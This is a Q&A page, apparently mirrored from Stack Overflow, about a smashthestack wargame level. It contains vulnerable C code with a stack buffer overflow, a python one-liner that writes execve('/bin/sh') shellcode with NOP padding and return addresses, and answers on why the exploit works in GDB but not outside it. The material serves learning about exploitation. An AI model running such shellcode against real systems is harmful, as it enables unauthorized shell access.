简体   繁体   中英

Program behaves different in GDB?

I have this code from smashthestack :

//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
        char buf[4096];

        int i = 0;
        puts(msg);
        i = read(0, buf, sizeof buf);
        printf("Read %d bytes\n", i);
        *strchr(buf, '\n') = 0;
        strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
        char last[20];
        char first[20];

        prompt_name(first, "Please enter your first name: ");
        prompt_name(last, "Please enter your last name: ");

        strcpy(fullname, first);
        strcat(fullname, " ");
        strcat(fullname, last);
}


int main(int argc, char **argv){
        char fullname[42];

        prompt_full_name(fullname);
        printf("Welcome, %s\n", fullname);

        return 0;
}

I execute this program using this shellcode :

python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in

In GDB run < /tmp/in , it's working all right: (gdb) run < /tmp/wliao_in

Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash

But in reality, it's not:

level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name: 
Please enter your last name: 
Welcome, j
          X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction

I don't understand what's different between the two?

There are a lot of issues when running something in and out of GDB.

First off, the environment changes, as shown in this diff. Adding and removing environment variables changes the addresses of everything above them on the stack.

< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb

Secondly, the execve path affects stack layout (you're using "./level06", but GDB uses the absolute path, "/levels/level06"). This probably appears both in argv[1] and at the bottom of the stack (I don't know why, but Linux does that).

It's been a really long time since I did that level, but I'd try putting the shellcode in a command line argument (so there's no size restriction), with a massive NOP sled (so the stack address changes don't make a difference to whether your exploit works or not).

prompt_name does not produce a name terminated by a \\0 character if the name is longer than 20. The difference when run in gdb is that in gdb memory and stack management may be different in which case both strings may by accident be terminated by a \\0 .

With names smaller than 20 characters it works fine with me.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM